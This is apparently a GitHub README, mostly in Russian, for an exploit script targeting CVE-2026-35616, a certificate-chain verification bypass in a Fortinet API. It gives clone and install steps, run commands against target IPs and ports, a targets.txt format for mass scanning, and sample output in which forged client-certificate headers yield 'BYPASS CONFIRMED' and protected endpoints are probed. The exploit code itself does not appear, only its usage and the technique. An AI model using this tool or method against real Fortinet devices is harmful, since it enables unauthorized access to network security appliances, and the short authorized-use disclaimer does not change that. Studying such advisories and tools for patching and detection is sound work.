
Exploit script for CVE-2026-35616 that bypasses certificate chain verification in Fortinet API by discovering valid CNs, generating a forged client certificate, and probing protected endpoints with custom headers.
Эксплуатация уязвимости обхода проверки цепочки сертификатов в API Fortinet.
Скрипт автоматически обнаруживает допустимые Common Name (CN) из различных источников,
генерирует поддельный клиентский сертификат и выполняет запросы к защищённым эндпоинтам
с использованием заголовков X-SSL-CLIENT-VERIFY и X-SSL-CLIENT-CERT.
!!!Важно: Используйте только на системах, на которые у вас есть явное разрешение на тестирование.
requestscryptographyurllib3openssl (для расширенного обнаружения CA через TLS handshake)# Клонирование проекта
git clone https://github.com/wa6n3r/CVE-2026-35616
cd CVE-2026-35616
# Установка зависимостей
pip install -r requirements.txt
## Использование
# Базовый запуск
python3 exploit.py
# С указанием цели и порта
python3 exploit.py <TARGET_IP> [PORT]
# Примеры:
python3 exploit.py 192.168.1.100
python3 exploit.py 10.0.0.50 8443
# Формат файла целей (targets.txt)
При массовом тестировании создайте файл targets.txt с одним целевым адресом на строку:
192.168.1.100:443
10.0.0.50:8443
fortigate.internal
# Выходные файлы
При успешном выполнении скрипт создаёт:
results/bypass_results_<TARGET>_<PORT>_<TIMESTAMP>.json — детальный отчёт в формате JSON с:
Использованным CN
Статусами ответов по каждому эндпоинту
Префиксами ответов для анализа
# Структура вывода
[ wa6n3r ] ◆ GH: github.com/wa6n3r ◆ WEB: wa6n3r.com
[*] CVE-2026-35616 Target: https://192.168.1.100:443
[*] Discovering CA CNs from multiple sources...
[•] TLS CA CN: 'fortinet-ca2'
[•] ZTNA CA CN: 'support'
[*] Found 2 candidate CN(s): fortinet-ca2, support
[*] Testing 2 candidate CN(s) for bypass...
[+] CN='support' | HTTP 200 | retval=1 | BYPASS CONFIRMED
[*] Probing all cert_chain endpoints with CN='support'...
GET /api/v1/system/capabilities
HTTP 200: '{"result": {"retval": 1, ...}}'
[+] Results saved to: results/bypass_results_192.168.1.100_443_20260101_120000.json